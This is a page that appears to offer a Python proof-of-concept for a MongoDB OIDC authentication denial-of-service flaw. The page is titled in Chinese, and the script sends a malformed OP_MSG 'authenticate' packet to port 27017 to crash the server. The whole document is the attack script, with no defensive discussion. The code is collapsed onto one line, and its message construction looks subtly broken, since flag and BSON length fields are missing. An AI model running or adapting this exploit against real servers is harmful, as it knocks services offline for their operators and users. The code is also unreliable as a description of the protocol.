CVE-2026-9742 MongoDB OIDC认证机制参数导致服务器崩溃漏洞

import socket import struct def exploit_cve_2026_9742(target_host, target_port=27017): """ PoC for CVE-2026-9742: MongoDB OIDC Authentication DoS This PoC demonstrates sending a malformed authenticate command with specific 'mechanism' parameter values to trigger server crash. """ try: # Connect to MongoDB sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # MongoDB Wire Protocol Message Header (16 bytes) message_length = 0 request_id = 1 response_to = 0 op_code = 2013 # OP_MSG # Construct OP_MSG with authenticate command # Malformed mechanism parameter to trigger crash authenticate_cmd = b'\x00' # section type authenticate_cmd += b'\x0bauthenticate' # command name authenticate_cmd += b'\x00' # null terminator authenticate_cmd += b'\x011\x00' # version: 1 authenticate_cmd += b'\x00' authenticate_cmd += b'\x0bmechanism' # mechanism field authenticate_cmd += b'\x00' # Malformed mechanism value - triggers crash authenticate_cmd += b'\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88' authenticate_cmd += b'\x00' authenticate_cmd += b'\x00' # document end # Calculate total message length header = struct.pack('<i', message_length) header += struct.pack('<i', request_id) header += struct.pack('<i', response_to) header += struct.pack('<i', op_code) # Calculate correct length full_message = header + authenticate_cmd message_length = len(full_message) header = struct.pack('<i', message_length) + struct.pack('<i', request_id) + struct.pack('<i', response_to) + struct.pack('<i', op_code) full_message = header + authenticate_cmd # Send the malicious packet sock.send(full_message) print(f"[+] Malicious authenticate command sent to {target_host}:{target_port}") print("[+] If OIDC is enabled, this may cause server crash") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "127.0.0.1" exploit_cve_2026_9742(target)